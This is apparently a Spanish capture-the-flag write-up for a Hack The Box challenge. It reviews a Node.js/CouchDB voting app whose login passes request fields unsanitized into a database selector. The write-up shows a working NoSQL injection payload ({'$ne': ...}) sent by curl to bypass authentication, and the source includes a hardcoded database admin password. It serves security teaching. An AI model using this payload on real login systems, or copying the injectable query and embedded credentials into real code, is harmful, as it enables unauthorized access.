Lazy Ballot
3 minutos de lectura
Se nos proporciona un sitio web como este:
También se nos proporciona el código fuente del servidor en Node.js.
Análisis del código fuente
Esto es routes/index.js
:
const express = require("express");
const router = express.Router({ caseSensitive: true });
const AuthMiddleware = require("../middleware/auth");
let db;
const response = (data) => ({ resp: data });
router.get("/", (req, res) => {
return res.render("index.pug");
});
router.get("/login", async (req, res) => {
if (req.session.authenticated) {
return res.redirect("/dashboard");
}
return res.render("login.pug");
});
router.get("/logout", (req, res) => {
req.session.destroy();
return res.redirect("/");
});
router.get("/dashboard", AuthMiddleware, async (req, res) => {
return res.render("panel.pug");
});
router.get("/api/votes/list", AuthMiddleware, async (req, res) => {
const allVotes = await db.listVotes();
return res.send(response(allVotes));
});
router.post("/api/login", async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(403).send(response("Missing parameters"));
}
if (!await db.loginUser(username, password)) {
return res.status(403).send(response("Invalid username or password"));
}
req.session.authenticated = true;
return res.send(response("User authenticated successfully"));
});
module.exports = (database) => {
db = database;
return router;
};
Como se puede ver, tenemos un formulario de inicio de sesión:
Debemos iniciar sesión para ver el dashboard y acceder al endpoint /api/votes/list
(protegido por AuthMiddleware
en middleware/auth.js
):
module.exports = async (req, res, next) => {
if (!req.session.authenticated) {
return res.status(401).send({message: "Not authenticated"});
}
next();
};
Echemos un vistazo a la implementación de la base de datos (helpers/database.js
):
const fs = require("fs");
const crypto = require("crypto");
const nano = require("nano");
class Database {
async init() {
this.flag = await fs.readFileSync("/flag.txt").toString();
this.regions = [ /* ... */ ];
this.parties = [ /* ... */ ];
this.couch = nano("http://admin:youwouldntdownloadacouch@localhost:5984");
const err = await this.couch.db.create("users");
if (err && err.statusCode != 412) {
console.error(err);
}
const pass = crypto.randomBytes(13).toString("hex");
this.userdb = this.couch.use("users");
let adminUser = {
username: "admin",
password: pass,
};
this.userdb.insert(adminUser, adminUser.username);
this.seedVotes();
}
async seedVotes() {
const err = await this.couch.db.create("votes");
if (err && err.statusCode != 412) {
console.error(err);
}
this.votesdb = this.couch.use("votes");
const voteCount = 180;
console.log(`[+] Generating and inserting ${voteCount} votes`);
for (let i = 0; i <= voteCount; i++) {
const region = this.regions[Math.floor(Math.random() * this.regions.length)];
const party = this.parties[Math.floor(Math.random() * this.parties.length)];
const vote = {
"region": i == voteCount ? this.flag : region,
"party": party,
"verified": i > (voteCount / 2) ? false : true
}
this.votesdb.insert(vote, i);
}
console.log("[+] OK");
}
async loginUser(username, password) {
const options = {
selector: {
username: username,
password: password,
},
};
const resp = await this.userdb.find(options);
if (resp.docs.length) return true;
return false;
}
async listVotes() {
const votes = await this.votesdb.list({ include_docs: true });
const obj = {
regions: this.regions,
parties: this.parties,
votes: votes.rows
}
return obj;
}
}
module.exports = Database;
Cosas importantes a destacar:
- El administrador de la base de datos es CouchDB, que es una base de datos NoSQL
- La función
seedVotes
devolverá la flag en cierto camporegion
- La función
login
es vulnerable a inyección NoSQL porqueusername
ypassword
vienen directamente del cuerpo de petición HTTP y se insertan en el objetoselector
, utilizado para consultar la base de datos
Bypass de autenticación
Si echamos un vistazo a los payloads de inyección NoSQL en HackTricks, veremos que algo como lo siguiente nos permitirá saltarnos la autenticación:
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
Vamos a probarlo:
$ curl 83.136.253.251:34507/api/login -d '{"username":{"$ne":"x"},"password":{"$ne":"x"}}' -iH 'Content-Type: application/json'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 42
ETag: W/"2a-/VP0ESwtBCIUs0BlY9syO+ZDgmQ"
Set-Cookie: connect.sid=s%3ALu7NpsOv0LAxqmwJ3TMtq8M8uW7IRmKo.bY6XpzfDtOAOnHGavZLbk7TWOq4UG9P%2BXBuPbz97Itk; Path=/; HttpOnly
Date: Thu, 08 Feb 2024 15:06:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"resp":"User authenticated successfully"}
Ahí lo tenemos. Ahora podemos tomar la cookie y colocarla en el navegador:
En este punto, sabemos que la flag debe aparecer en algún de los votos de los que se muestran en la página web. Podemos examinar la respuesta del servidor para buscar la flag:
Flag
Y aquí está:
HTB{c0rrupt3d_c0uch_b4ll0ts!}